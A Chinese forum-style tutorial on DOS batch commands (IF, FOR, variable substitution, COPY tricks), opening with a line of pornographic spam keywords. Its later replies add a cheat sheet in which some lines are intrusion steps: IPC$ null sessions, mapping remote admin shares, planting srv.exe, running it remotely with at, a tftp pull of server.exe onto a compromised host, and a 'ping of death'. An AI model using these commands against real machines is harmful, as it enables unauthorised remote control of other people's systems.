中文字幕理论片,69视频免费在线观看,亚洲成人app,国产1级毛片,刘涛最大尺度戏视频,欧美亚洲美女视频,2021韩国美女仙女屋vip视频

打開APP
userphoto
未登錄

開通VIP,暢享免費(fèi)電子書等14項(xiàng)超值服

開通VIP
DOS命令行高級應(yīng)用
DOS命令行高級應(yīng)用

  執(zhí)行多個(gè)命令時(shí),命令這間加&來隔開

  if命令及變量基本格式:
  IF[not]errorlevel數(shù)字命令語句如果程序運(yùn)行最后返回一個(gè)等于或大于指定數(shù)字的退出編碼,指定條件為“真”。
  例:IF errorlevel0
命令指程序執(zhí)行后返回的值為0時(shí),就值行后面的命令;IFnoterrorlevel1命令指程序執(zhí)行最后返回的值不等于1,就執(zhí)行后面的命令。
  0指發(fā)現(xiàn)并成功執(zhí)行(真);1指沒有發(fā)現(xiàn)、沒執(zhí)行(假)。
  IF[not]字符串1==字符串2命令語句如果指定的文本字符串匹配(即:字符串1等于字符串2),就執(zhí)行后面的命令。

  例:“if"%2%"=="4"gotostart”指:如果輸入的第二個(gè)變量為4時(shí),執(zhí)行后面的命令(注意:調(diào)用變量時(shí)就%變量名%并加"")

  IF[not]exist文件名命令語句如果指定的文件名存在,就執(zhí)行后面的命令。
  例:“ifnotnc.exegotoend”指:如果沒有發(fā)現(xiàn)nc.exe文件就跳到":end"標(biāo)簽處。
  IF[not]errorlevel數(shù)字命令語句else命令語句或IF[not]字符串1==字符串2命令語句else命令語句或IF[not]exist文件名命令語句else命令語句加上:else命令語句后指:當(dāng)前面的條件不成立時(shí),就指行else后面的命令。注意:else必須與if在同一行才有效。當(dāng)有del命令時(shí)需把del命令全部內(nèi)容用括起來,因?yàn)閐el命令要單獨(dú)一行時(shí)才能執(zhí)行,用上后就等于是單獨(dú)一行了;
例如:“ifexisttest.txt.elseechotest.txt.missing”,注意命令中的“.”


  for命令及變量基本格式:
  FOR/參數(shù)%variableIN(set)DOcommand[command_parameters]%variable:指定一個(gè)單一字母可替換的參數(shù),如:%i,而指定一個(gè)變量則用:%%i,而調(diào)用變量時(shí)用:%i%,變量是區(qū)分大小寫的(%i不等于%I)。
  批處理每次能處理的變量從%0—%9共10個(gè),其中%0默認(rèn)給批處理文件名使用,%1默認(rèn)為使用此批處理時(shí)輸入的的第一個(gè)值,同理:%2—%9指輸入的第2-9個(gè)值;例:netuse\\ip\ipc$pass/user:user中ip為%1,pass為%2,user為%3
  (set):指定一個(gè)或一組文件,可使用通配符,如:(D:\user.txt)和(11254)(1-1254),{“(11254)”第一個(gè)"1"指起始值,第二個(gè)"1"指增長量,第三個(gè)"254"指結(jié)束值,即:從1到254;“(1-1254)”說明:即從254到1}
  command:指定對第個(gè)文件執(zhí)行的命令,如:netuse命令;如要執(zhí)行多個(gè)命令時(shí),命令這間加:&來隔開
  command_parameters:為特定命令指定參數(shù)或命令行開關(guān)
  IN(set):指在(set)中取值;DOcommand:指執(zhí)行command
  參數(shù):/L指用增量形式{(set)為增量形式時(shí)};/F指從文件中不斷取值,直到取完為止{(set)為文件時(shí),如(d:\pass.txt)時(shí)


  追趕unix for - 深入WinXP的for命令

  用途:for命令用于處理文本操作,該文本可以是文本文件,別的命令的文本輸出等等。借用管道操作符"|",可以實(shí)現(xiàn)多個(gè)命令的連接操作,支持管道操作符的命令有find,more和sort(輸入文件用)
  tips:
  ·在批處理文件中使用FOR命令時(shí),指定變量請使用%%variable,而不要用%variable。批處理文件命令查詢WinXP幫助:命令行batchfiles。
  ·默認(rèn)以文本的行作為處理單位,逐行進(jìn)行處理。
  ·變量名稱是區(qū)分大小寫的,所以%i不同于%I。
  ·如果不想看到中間命令的顯示,在命令前加上dos命令@來屏蔽命令顯示。
  ·批處理文件中不想看到for命令的顯示,在for前加上@符號(hào)屏蔽命令顯示即可。
  ·最詳細(xì)的介紹請輸入for/?和查找winXP的幫助:命令行for。
  1.基本形式,獲取文件名。
  格式:千萬注意in和左括號(hào)之間要有空格分隔!(下同)
  for一個(gè)變量in(文件/路徑集)do命令+變量
  ------------------------------
  |||
  |||
  變量聲明||
  提取條件(多個(gè)用空格分隔)|
  |
  需要執(zhí)行的命令,參數(shù)是變量的值(即提取結(jié)果)
  得到文件名,變量替換,最后執(zhí)行do后面指定的命令,變量已經(jīng)替換為了文件名。如果是多個(gè)文件名,那么就多次執(zhí)行那個(gè)命令,變量挨個(gè)取值。
  例子1:
  for%ain(*.doc*.txt)dodir%a
  則獲取當(dāng)前目錄下的doc和txt文件名,然后把結(jié)果挨個(gè)發(fā)給dir命令作為參數(shù)。

  例子2:
  for%ain(c:\d:\*.docd:\*.txt)do@dir%a|find"txt"

  獲取c盤根目錄的所有文件名,以及d盤根目錄下的doc和txt文件名,然后把結(jié)果挨個(gè)發(fā)送給dir命令作為它的命令行參數(shù),然后dir顯示的結(jié)果將發(fā)送給find命令,由find來顯示含有txt字樣的行,這樣可以過濾其它多余的信息。dir前面的@符號(hào)是dos屏蔽命令行顯示用的。

  從上面的簡單例子可以看出,for命令不是編程語言中的循環(huán)操作,它執(zhí)行的是把括號(hào)中的值依次放入do后面的指定命令的變量中,以獲得命令執(zhí)行后的輸出文本。下文對輸出文本控制格式的介紹將展示for命令的強(qiáng)大一面。(也可以用它作為循環(huán)指令,見例子6)。
  注意:for命令對括號(hào)中的命令將預(yù)先執(zhí)行,如(*.doc*.txt),則發(fā)送給dir命令的參數(shù)已經(jīng)是當(dāng)前目錄下所有的txt和doc的文件名了,而dir,type等dos命令的文件名參數(shù)如果是帶有空格、等號(hào)等特殊字符的文件/目錄名,會(huì)顯示找不到文件。我的系統(tǒng)簡體中文版WinXPproSP1下的cmd環(huán)境運(yùn)行是這個(gè)效果,不知道其它環(huán)境的運(yùn)行效果如何。解決方法,使用變量的替換形式:使用文件名的8.3格式的短名稱,見例子14

  2.獲取目錄名
  格式:
  for/D...in(...)do...
  得到目錄名(不包括子目錄),賦給變量,最后執(zhí)行do后面指定的命令,變量已經(jīng)替換為了目錄名。如果是多個(gè)目錄名,那么就多次執(zhí)行那個(gè)命令,變量挨個(gè)取值。
  例子3:
  for/D%ain(pro*)dodir%a
  列舉當(dāng)前目錄下與以pro為開頭的目錄名,然后把結(jié)果發(fā)送給dir進(jìn)行挨個(gè)顯示。同樣需要注意dir命令不能處理有空格、等號(hào)等特殊字符的文件名的問題。解決方法,是要求變量使用文件名的8.3格式的短名稱,見例子14.

  3.遞歸的目錄操作
  格式:
  for/R...in(包含通配符*和?)do...
  得到當(dāng)前的目錄名/文件名,以及所有的子目錄下的目錄/文件名。然后把結(jié)果挨個(gè)發(fā)送給do后面指定的命令作為參數(shù)。

  例子4:
  for/Rd:\download%ain(*.txt)dotype%a
  從d:\download目錄(不指定則默認(rèn)當(dāng)前目錄)開始,將列舉它下面所有的的txt文件名(包括子目錄里的),結(jié)果發(fā)送給type后將挨個(gè)顯示這些文件的內(nèi)容。同樣有dir不能處理特殊文件名問題需要注意,解決方法,是要求變量使用文件名的8.3格式的短名稱,見例子14。

  例子5:
  for/Rd:\download%ain(.)dodir%a
  因?yàn)橹皇且粋€(gè)句號(hào)(.),所以從d:\download目錄(不指定則默認(rèn)當(dāng)前目錄)開始,列舉它下面所有的目錄名(包括子目錄),結(jié)果傳送給dir作為參數(shù),則dir將顯示所有目錄下的文件,同樣有特殊文件名問題需要注意,解決方法,是要求變量使用文件名的8.3格式的短名稱,見例子14。
  *無法指定特定的目錄(或子目錄),只能列舉所有,然后對結(jié)果再進(jìn)行選擇處理。

  4.重復(fù)數(shù)值范圍
  格式:
  for/L...in(起始值,步長,終了值)do...
  循環(huán)執(zhí)行命令。
  例子6:
  for/L%ain(5,-1,1)dotypedirlist.txt
  把文件dirlist.txt顯示五遍.
  例子7:
  for/L%%ain(5,-1,1)docallcb.batpar
  調(diào)用cb.bat五次,傳入的命令行參數(shù)是par
  例子8:
  for/L%%ain(1,1,3)docall:testcall
  gotoend
  :testcall
  @echocalling......
  :end
  調(diào)用標(biāo)號(hào)段testcall三次.

  5.重復(fù)和文件解析:
  主要用于處理應(yīng)用極其廣泛的csv文本表格文件。對文本文件逐行,以字段(空格或制表符為默認(rèn)的分界符)為單位進(jìn)行解析,得到的結(jié)果是0或多個(gè)字符串,然后根據(jù)參數(shù)設(shè)置賦給相應(yīng)的變量,因?yàn)樽兞渴莇o后面命令的參數(shù),所以do執(zhí)行的命令的參數(shù)就是提取出來的相應(yīng)字段,這樣就可以實(shí)現(xiàn)對csv文件的處理。實(shí)踐中發(fā)現(xiàn)默認(rèn)用分號(hào)做為行尾符(行結(jié)束符)來跳過不進(jìn)行處理的行。需要專門的解析關(guān)鍵字來指定需要獲取第幾個(gè)字段,什么是行尾符等等,因?yàn)樾枰幚矶鄠€(gè)字段,所以支持多個(gè)變量。有三種用法如下:
  1)for/F"..."...in(...)do........
  ||||
  ||||
  解析關(guān)鍵字變量文件/路徑名集命令+變量
  對每個(gè)文件的內(nèi)容逐行讀取,讀取字段進(jìn)行操作。默認(rèn)跳過空行,每行只處理第一個(gè)字段(以后稱為令牌,因?yàn)閣indows幫助里面這么叫的),默認(rèn)的行尾符是分號(hào),即處理的時(shí)候忽略以分號(hào)開頭的行,當(dāng)然行中間如果出現(xiàn)分號(hào),則分號(hào)后面的字符就被忽略。多個(gè)解析關(guān)鍵字也是以空格分隔。

  例子9:
  for/F%ain(dirlist1.txtdirlist2.txt)doecho%a
  沒有設(shè)置指定令牌的解析關(guān)鍵字,所以采用默認(rèn)的設(shè)置進(jìn)行執(zhí)行。解析文件dirlist1.txt和dirlist2.txt的內(nèi)容,并把結(jié)果作為參數(shù)發(fā)送給echo來進(jìn)行顯示。顯示的內(nèi)容是每行的第一個(gè)令牌,含有分號(hào)(默認(rèn)的行尾符)的令牌將被自動(dòng)忽略該行分號(hào)后的內(nèi)容,而且忽略了以分號(hào)開頭的行不進(jìn)行處理。

  例子10:
  for/F"eol=/tokens=4-6delims=,"%din(dirlist1.txtdirlist2.txt)do@echo%d%e%f
  把dirlist1.txt和dirlist2.txt的每行第4,5,6個(gè)字段的內(nèi)容提取出來,賦給變量%d%e%f(只需指定第一個(gè)變量%d,%e和%f不需顯式的聲明直接就可以使用)發(fā)送給echo作為參數(shù)。

  例子11:
  for/F"eol=/tokens=2,3*delims=,"%ain(dirlist1.txtdirlist2.txt)doecho%a%b%c
  把dirlist1.txt和dirlist2.txt的每行第2,3個(gè)字段的內(nèi)容提取出來,賦給變量%a%b(只需指定第一個(gè)變量%a,%b和%c不需顯式的聲明直接就可以使用),最后的星號(hào)表示第三個(gè)字段后面的所有令牌都發(fā)送給最后的變量%c,發(fā)送給echo作為參數(shù)。
  解析關(guān)鍵字功能如下:
  用"eol=,"指定行尾字符(只一個(gè)字符)。以分號(hào)開頭的行都被忽略。
  用"skip=n"指定在文件的開頭跳過的行數(shù)。對于有些命令,前面幾行的輸出都是版權(quán)信息等無用字符。
  用"delims=,"指定定界符集合是逗號(hào)(可以有多個(gè),如:,表示逗號(hào)和空格都算分界符,所以想設(shè)置空格的情況需要是最后一個(gè)參數(shù))。這將替換空格和制表符的默認(rèn)分隔符集。
  用"tokens=x,y,m-n"表示把第幾個(gè)令牌賦給變量,順次排列。即第x個(gè)令牌賦給%a,第y個(gè)令牌賦給%b(因?yàn)橛辛?a,則默認(rèn)的字母順序遞增的變量可以在do后面指定的命令中直接引用),m-n是延續(xù)的范圍,也就是把從第m個(gè)開始,到第n個(gè)的令牌順次賦給變量。變量不需要挨個(gè)聲明,只需要在in的前面聲明第一個(gè),后面的變量自動(dòng)根據(jù)tokens指定的令牌數(shù)目隱含的被聲明了,可以直接在do后面的變量中使用。如果m、n不是數(shù)字而是星號(hào)(*),那么表示該行剩余的所有令牌都賦給最后一個(gè)變量。tokens=的格式靈活,可以寫"tokens=2,5,9,14"的形式,也可以對連續(xù)的令牌使用諸如"tokens=3-8","tokens=3,5,6,8-10"的形式。

  2)for/F"usebackq...".....in("...")do............
  ||||
  ||||
  加usebackq的解析關(guān)鍵字|||
  變量文件/路徑名命令+變量
  解析關(guān)鍵字前面加上usebackq,表示在in()中要使用引號(hào)/單引號(hào)/反單引號(hào)。引號(hào)表示是文件名,其實(shí)除了只能有一個(gè)文件名外,跟第一種用法完全一樣。

  3)for/F"usebackq..."........in('...')do........
  ||||
  ||||
  加usebackq的解析關(guān)鍵字|||
  變量文件/路徑名命令+變量
  解析關(guān)鍵字前面加上usebackq,表示在in()中要使用引號(hào)/單引號(hào)/反單引號(hào)。單引號(hào)表示把其中的內(nèi)容看作從某個(gè)文件輸入的單行,是字符串而不是文件名。

  例子12:
  for/F"usebackqtokens=2,4delims=/"%iIN('1/2/34/5/6/7/890')DO@echo%j---%i
  令牌的分界符是“/”和空格,所以第2個(gè)令牌賦給%i,第4個(gè)令牌賦給%j,根據(jù)的echo的參數(shù)順序,則最后在屏幕上顯示的內(nèi)容是:4---2。
  *我的系統(tǒng)上的試驗(yàn),如果令牌空,則不計(jì)數(shù),以有內(nèi)容的令牌為準(zhǔn).
  4)for/F"usebackq..."...in(`...`)do...
  解析關(guān)鍵字前面加上usebackq,表示在in()中要使用引號(hào)/單引號(hào)/反單引號(hào)。反單引號(hào)表示把括號(hào)里的內(nèi)容看作命令,先執(zhí)行該命令,然后把輸出賦給變量,交給do后面的命令挨個(gè)執(zhí)行。
  例子13:
  for/F"usebackqdelims=="%iIN(`set`)DO@echo%i|find"PATH"/I
  顯示當(dāng)前環(huán)境中的環(huán)境變量名帶有path字樣的行。

  6.變量替換:
  格式:
  %~加關(guān)鍵字加變量名(變量是顯式聲明過的)
  如果變量的值是提取出的文件名或者路徑名,變量替換可以實(shí)現(xiàn)對文件和路徑的修飾。比如%~f可以把變量變?yōu)橥暾穆窂矫蛘?~s把變量的值變?yōu)橹话堂Q(可以解決dir、等命令對長文件名不支持空格等號(hào)的問題),組合的%~fs把變量展開到完整的短路徑名,甚至把原本是文件名的變量變成該文件的大?。?~z)、該文件的日期時(shí)間(%~t)。具體列表參考windows幫助里面的介紹。

  例子14:(改自例子2)
  for%ain(*.txt)do@dir%~sa|find"txt"
  -----------------
  ||
  ||
  用@來屏蔽dos命令顯示|
  |
  變量%a的替換方式,文件名只包含短名稱
  發(fā)送給dir的參數(shù)是8.3格式的文件名,這樣對dir,type等dos命令可以完美的支持了。顯示結(jié)果:原來名為“slist.txt”和“=slist.txt”這樣的文件名現(xiàn)在可以轉(zhuǎn)成短文件名格式發(fā)送給dos命令,最終被find命令完美的顯示出來。

  例子15:
  for%ain(*.txt)do@echo%~fa%~zaBytes
  顯示目錄下所有txt文件的名稱和大小,Byte不是變量所以原樣顯示。
  如果D盤的根目錄下有文件dirlist3.txt和=slist.txt,則顯示的結(jié)果是:
  D:\test\dirlist3.txt536Bytes
  D:\test\=slist.txt1452Bytes

  7.綜合應(yīng)用
  例子16:
  for/f"usebackqskip=7tokens=3,4"%ain(`dir`)do@ifexist%becho%b------%a
  顯示當(dāng)前目錄下的文件和文件夾。顯示結(jié)果如下:
  dirlist3.txt------536
  slist.txt------1,452
  may------

  顯示文本文件內(nèi)容:(=TYPE)
  COPY文件名CON
  2、顯示特殊文件內(nèi)容:
  COPY文件名CON/B
  3、顯示文件名:(=DIR)
  COPY*.*NUL
  4、打印文件內(nèi)容:
  COPY文件名PRN
  5、將鍵盤輸入的內(nèi)容打印出來:
  COPYCONPRN
  6、刪除文件:(=DEL)
  COPYNUL文件名
  7、建立新文件:
  COPYCON文件名
  8、改文件日期:
  COPY文件名+,,
  9、連接兩個(gè)文件:
  COPY文件1+文件2
  10、校驗(yàn)兩個(gè)文件:
  COPY文件1文件2/V


  dos高級技術(shù)
------------------------------------------------------------------------------------------
  Windows98中“我的文檔(MyDocuments)”是用戶自建文件的集中存放地,它由于體積較大,備份起來顯得很麻煩。如果在DOS下備份,就容易多了,具體方法如下:
  1、單擊“開始/程序/MS-DOS方式”,在DOS提示符下鍵入pdos95.bat,回車,系統(tǒng)進(jìn)
  入Windows9x的中文DOS方式。
  2、輸入“attribc:\mydocu~1\*.*+a/s”,回車?!癕yDocuments”的DOS8.3格式的名稱是“mydocu~1”,“+a”表示把文件設(shè)置為存檔屬性,“/s”表示對指定文件夾下的子文件夾也進(jìn)行操作。
  3、輸入“xcopyc:\mydocu~1\*.*/m/s/w”,回車(如圖1)?!?m”表示只復(fù)制存檔屬性的文件,并且在復(fù)制完一個(gè)文件后即復(fù)原文件屬性,“/w”表示在復(fù)制前顯示提示信息。圖1
  4、當(dāng)?shù)谝粡堒洷P寫滿時(shí),根據(jù)提示,插入后續(xù)磁盤,并在每插入一張新軟盤后輸入如第3步中的字符或直接按[F3]。以上方法對其他文件同樣適用。指定目錄進(jìn)入DOS如果能在DOS下就直接進(jìn)入自己想要的目錄,的確可以帶來很多方便。其實(shí)也很簡單,右鍵單擊MS-DOS方式,在彈出的菜單中選擇“屬性”,找到“程序”標(biāo)簽,在“工作目錄”欄中輸入目標(biāo)目錄(如圖2)。圖2查看網(wǎng)絡(luò)配置信息大家知道在控制面板的“Internet選項(xiàng)”中只能查看如網(wǎng)絡(luò)協(xié)議、本機(jī)IP地址等一些基本的網(wǎng)絡(luò)配置信息。但如果我們將系統(tǒng)切換到MS-DOS方式下并輸入命令“ipconfig/all”,則能獲得更詳細(xì)全面的網(wǎng)絡(luò)配置信息(如圖3)。在右鍵中加入DOS方式打開記事本,輸入以下文本:REGEDIT4[EY_CLASSES_ROOT\Folder\shell\MS-DOS方式][EY_CLASSES_ROOT\Folder\shell\MS-DOS方式\command]@=”c:\\windows\\command.com”以“REG”為擴(kuò)展名保存上述文本,并雙擊此文件將其導(dǎo)入注冊表。這樣當(dāng)我們在桌面上或在資源管理器中右擊任意目標(biāo)目錄后再選擇“MS-DOS方式”,便可直接進(jìn)入以該目錄為提示符的DOS方式。


  dos:FOR高級技術(shù)
----------------------------------------------------------------------------------

  以前常覺得DOS的命令行功能太弱,無法象UNIX一樣可以用命令行完成非常復(fù)雜的操作。實(shí)際上,當(dāng)MS從WIN2K開始將命令行增強(qiáng)后,已經(jīng)借鑒了相當(dāng)多UNIX的優(yōu)點(diǎn),雖然還無法做到象UNIX那么靈活,但已可完成絕大多數(shù)的任務(wù),比如用&&和||連接兩個(gè)(或更多)命令,由前一個(gè)的返回值來決定下一個(gè)是否執(zhí)行,等等。而在這些增強(qiáng)中,最明顯的,就是FOR命令。
  舉個(gè)例子,用適當(dāng)?shù)膮?shù),可用FOR命令將date/t的輸出從"Sat07/13/2002"變成你想要的格式,比如,"2002-07-13":
  c:\>for/f"tokens=2,3,4delims=/"%ain('date/t')do@echo%c-%a-%b
  2002-07-13
  該例將在(3)中詳細(xì)說明。

  0.基本應(yīng)用
  簡單說,F(xiàn)OR是個(gè)循環(huán),可以用你指定的循環(huán)范圍生成一系列命令。最簡單的例子,就是人工指定循環(huán)范圍,然后對每個(gè)值執(zhí)行指定的命令。例如,想快速報(bào)告每個(gè)硬盤分區(qū)的剩余空間:
  for%ain(c:d:e:fdo@dir%a\|find"bytesfree"
  將輸出:
  8Dir(s)1,361,334,272bytesfree
  15Dir(s)8,505,581,568bytesfree
  12Dir(s)12,975,149,056bytesfree
  7Dir(s)11,658,854,400bytesfree
  用它可以使一些不支持通配符的命令對一系列文件進(jìn)行操作。在WIN9X中,TYPE命令(顯示文件內(nèi)容)是不支持*.txt這種格式的(WIN2K開始TYPE已支持通配)。遇到類似情況就可以用FOR:
  for%ain(*.txt)dotype%a
  這些還不是FOR最強(qiáng)大的功能。我認(rèn)為它最強(qiáng)大的功能,表現(xiàn)在以下這些高級應(yīng)用:
  1.可以用/r參數(shù)遍歷整個(gè)目錄樹
  2.可以用/f參數(shù)將文本文件內(nèi)容作為循環(huán)范圍
  3.可以用/f參數(shù)將某一命令執(zhí)行結(jié)果作為循環(huán)范圍
  4.可以用%~操作符將文件名分離成文件名、擴(kuò)展名、盤符等獨(dú)立部分

  現(xiàn)分別舉例說明如下:
  1.用/r遍歷目錄樹
  當(dāng)用*.*或*.txt等文件名通配符作為for/r的循環(huán)范圍時(shí),可以對當(dāng)前目錄下所有文件(包括子目錄里面的文件)進(jìn)行操作。舉個(gè)例子,你想在當(dāng)前目錄的所有txt文件(包括子目錄)內(nèi)容中查找"bluebear"字樣,但由于find本身不能遍歷子目錄,所以我們用for:
  for/r.%ain(*.txt)do@find"bluebear"%a
  find前面的@只是讓輸出結(jié)果不包括find命令本身。這是DOS很早就有的功能。和FOR無關(guān)。
  當(dāng)用.作為循環(huán)范圍時(shí),for只將子目錄的結(jié)構(gòu)(目錄名)作為循環(huán)范圍,而不包括里面的文件。有點(diǎn)象TREE命令,不過側(cè)重點(diǎn)不同。TREE的重點(diǎn)是用很漂亮易讀的格式輸出,而FOR的輸出適合一些自動(dòng)任務(wù),例如,我們都知道用CVS管理的項(xiàng)目中,每個(gè)子目錄下都會(huì)有一個(gè)CVS目錄,有時(shí)在軟件發(fā)行時(shí)我們想把這些CVS目錄全部去掉:
  for/r.%ain(.)do@ifexist%a\CVSrd/s/q%a\CVS

  先用ifexist判斷一下,是因?yàn)閒or只是機(jī)械的對每個(gè)目錄進(jìn)行列舉,如果有些目錄下面沒有CVS也會(huì)被執(zhí)行到。用ifexist判斷一下比較安全。
  這種刪除命令威力太大,請小心使用。最好是在真正執(zhí)行以上的刪除命令前,將rd/s/q換成@echo先列出要?jiǎng)h出的目錄,確認(rèn)無誤后再換回rd/s/q:

  for/r.%ain(.)do@ifexist%a\CVS@echo%a\CVS
  可能目錄中會(huì)多出一層".",比如c:\proj\release\.\CVS,但不會(huì)影響命令的執(zhí)行效果。

  2.將某一文件內(nèi)容或命令執(zhí)行結(jié)果作為循環(huán)范圍:
  假如你有一個(gè)文件todel.txt,里面是所有要?jiǎng)h除的文件列表,現(xiàn)在你想將里面列出的每個(gè)文件都刪掉。假設(shè)這個(gè)文件是每個(gè)文件名占一行,象這樣:
  c:\temp\a1.txt
  c:\temp\a2.txt
  c:\temp\subdir\b3.txt
  c:\temp\subdir\b4.txt
  那么可以用FOR來完成:
  for/f%ain(todel.txt)dodel%a
  這個(gè)命令還可以更強(qiáng)大。比如你的todel.txt并不是象上面例子那么干凈,而是由DIR直接生成,有一些沒用的信息,比如這樣:
  作者:diablo6182006-4-1314:32回復(fù)此發(fā)言

  --------------------------------------------------------------------------------
  13回復(fù):dos高級技術(shù)
  netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]""/user:""建立IPC空鏈接
  netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]"密碼"/user:"用戶名"建立IPC非空鏈接
  netuseh:[url=file://\\ip\c$]\\ip\c$[/url]"密碼"/user:"用戶名"直接登陸后映射對方C:到本地為H:
  netuseh:[url=file://\\ip\c$]\\ip\c$[/url]登陸后映射對方C:到本地為H:
  netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]/del刪除IPC鏈接
  netuseh:/del刪除映射對方到本地的為H:的映射
  netuser用戶名密碼/add建立用戶
  netuserguest/active:yes激活guest用戶
  netuser查看有哪些用戶
  netuser帳戶名查看帳戶的屬性
  netlocalgroupadministrators用戶名/add把“用戶”添加到管理員中使其具有管理員權(quán)限,注意:administrator后加s用復(fù)數(shù)
  netstart查看開啟了哪些服務(wù)
  netstart服務(wù)名開啟服務(wù);(如:netstarttelnet,netstartschedule)
  netstop服務(wù)名停止某服務(wù)
  nettime\\目標(biāo)ip查看對方時(shí)間
  nettime\\目標(biāo)ip/set設(shè)置本地計(jì)算機(jī)時(shí)間與“目標(biāo)IP”主機(jī)的時(shí)間同步,加上參數(shù)/yes可取消確認(rèn)信息
  netview查看本地局域網(wǎng)內(nèi)開啟了哪些共享
  netview[url=file://\\ip]\\ip[/url]查看對方局域網(wǎng)內(nèi)開啟了哪些共享
  netconfig顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置
  netlogoff斷開連接的共享
  netpause服務(wù)名暫停某服務(wù)
  netsendip"文本信息"向?qū)Ψ桨l(fā)信息
  netver局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息
  netshare查看本地開啟的共享
  netshareipc$開啟ipc$共享
  netshareipc$/del刪除ipc$共享
  netsharec$/del刪除C:共享
  netuserguest12345用guest用戶登陸后用將密碼改為12345
  netpassword密碼更改系統(tǒng)登陸密碼
  netstat-a查看開啟了哪些端口,常用netstat-an
  netstat-n查看端口的網(wǎng)絡(luò)連接情況,常用netstat-an
  netstat-v查看正在進(jìn)行的工作
  netstat-p協(xié)議名例:netstat-ptcq/ip查看某協(xié)議使用情況(查看tcp/ip協(xié)議使用情況)
  netstat-s查看正在使用的所有協(xié)議使用情況
  nbtstat-Aip對方136到139其中一個(gè)端口開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數(shù)-A要大寫
  tracert-參數(shù)ip(或計(jì)算機(jī)名)跟蹤路由(數(shù)據(jù)包),參數(shù):“-w數(shù)字”用于設(shè)置超時(shí)間隔。
  pingip(或域名)向?qū)Ψ街鳈C(jī)發(fā)送默認(rèn)大小為32字節(jié)的數(shù)據(jù),參數(shù):“-l[空格]數(shù)據(jù)包大小”;“-n發(fā)送數(shù)據(jù)次數(shù)”;“-t”指一直ping。
  ping-t-l65550ip死亡之ping(發(fā)送大于64K的文件并一直ping就成了死亡之ping)
  ipconfig(winipcfg)用于windowsNT及XP(windows9598)查看本地ip地址,ipconfig可用參數(shù)“/all”顯示全部配置信息
  tlist-t以樹行列表顯示進(jìn)程(為系統(tǒng)的附加工具,默認(rèn)是沒有安裝的,在安裝目錄的Support/tools文件夾內(nèi))
  kill-F進(jìn)程名加-F參數(shù)后強(qiáng)制結(jié)束某進(jìn)程(為系統(tǒng)的附加工具,默認(rèn)是沒有安裝的,在安裝目錄的Support/tools文件夾內(nèi))
  del-F文件名加-F參數(shù)后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統(tǒng)、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統(tǒng)、存檔以外的文件。例如“DEL/AR*.*”表示刪除當(dāng)前目錄下所有只讀文件,“DEL/A-S*.*”表示刪除當(dāng)前目錄下除系統(tǒng)文件以外的所有文件
  #2二:
  del/S/Q目錄或用:rmdir/s/Q目錄/S刪除目錄及目錄下的所有子目錄和文件。同時(shí)使用參數(shù)/Q可取消刪除操作時(shí)的系統(tǒng)確認(rèn)就直接刪除。(二個(gè)命令作用相同)
  move盤符\路徑\要移動(dòng)的文件名存放移動(dòng)文件的路徑\移動(dòng)后文件名移動(dòng)文件,用參數(shù)/y將取消確認(rèn)移動(dòng)目錄存在相同文件的提示就直接覆蓋
  fcone.txttwo.txt>3st.txt對比二個(gè)文件并把不同之處輸出到3st.txt文件中,">"和">>"是重定向命令
  atid號(hào)開啟已注冊的某個(gè)計(jì)劃任務(wù)
  at/delete停止所有計(jì)劃任務(wù),用參數(shù)/yes則不需要確認(rèn)就直接停止
  作者:diablo6182006-4-1314:37回復(fù)此發(fā)言

  --------------------------------------------------------------------------------
  14回復(fù):dos高級技術(shù)
  atid號(hào)/delete停止某個(gè)已注冊的計(jì)劃任務(wù)
  at查看所有的計(jì)劃任務(wù)
  at[url=file://\\ip]\\ip[/url]time程序名(或一個(gè)命令)/r在某時(shí)間運(yùn)行對方某程序并重新啟動(dòng)計(jì)算機(jī)
  fingerusername@host查看最近有哪些用戶登陸
  telnetip端口遠(yuǎn)和登陸服務(wù)器,默認(rèn)端口為23
  openip連接到IP(屬telnet登陸后的命令)
  telnet在本機(jī)上直接鍵入telnet將進(jìn)入本機(jī)的telnet
  copy路徑\文件名1路徑\文件名2/y復(fù)制文件1到指定的目錄為文件2,用參數(shù)/y就同時(shí)取消確認(rèn)你要改寫一份現(xiàn)存目錄文件
  copyc:\srv.exe[url=file://\\ip\admin$]\\ip\admin$[/url]復(fù)制本地c:\srv.exe到對方的admin下
  cppy1st.jpg/b+2st.txt/a3st.jpg將2st.txt的內(nèi)容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排,參數(shù):/b指二進(jìn)制文件,/a指ASCLL格式文件
  copy[url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url]c:\或:copy\\ip\admin$\*.*復(fù)制對方admini$共享下的srv.exe文件(所有文件)至本地C:
  xcopy要復(fù)制的文件或目錄樹目標(biāo)地址\目錄名復(fù)制文件和目錄樹,用參數(shù)/Y將不提示覆蓋相同文件
  tftp-i自己IP(用肉機(jī)作跳板時(shí)這用肉機(jī)IP)getserver.exec:\server.exe登陸后,將“IP”的server.exe下載到目標(biāo)主機(jī)c:\server.exe參數(shù):-i指以二進(jìn)制模式傳送,如傳送exe文件時(shí)用,如不加-i則以ASCII模式(傳送文本文件模式)進(jìn)行傳送
  tftp-i對方IPputc:\server.exe登陸后,上傳本地c:\server.exe至主機(jī)
  ftpip端口用于上傳文件至服務(wù)器或進(jìn)行文件操作,默認(rèn)端口為21。bin指用二進(jìn)制方式傳送(可執(zhí)行文件進(jìn));默認(rèn)為ASCII格式傳送(文本文件時(shí))
  routeprint顯示出IP路由,將主要顯示網(wǎng)絡(luò)地址Networkaddres,子網(wǎng)掩碼Netmask,網(wǎng)關(guān)地址Gatewayaddres,接口地址Interface
  arp查看和處理ARP緩存,ARP是名字解析的意思,負(fù)責(zé)把一個(gè)IP解析成一個(gè)物理性的MAC地址。arp-a將顯示出全部信息
  start程序名或命令/max或/min新開一個(gè)新窗口并最大化(最小化)運(yùn)行某程序或命令
  mem查看cpu使用情況
  attrib文件名(目錄名)查看某文件(目錄)的屬性
  attrib文件名-A-R-S-H或+A+R+S+H去掉(添加)某文件的存檔,只讀,系統(tǒng),隱藏屬性;用+則是添加為某屬性
